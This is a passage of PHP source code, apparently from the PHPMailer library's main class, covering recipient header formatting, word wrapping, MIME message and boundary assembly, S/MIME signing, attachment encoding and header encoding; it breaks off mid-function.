        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

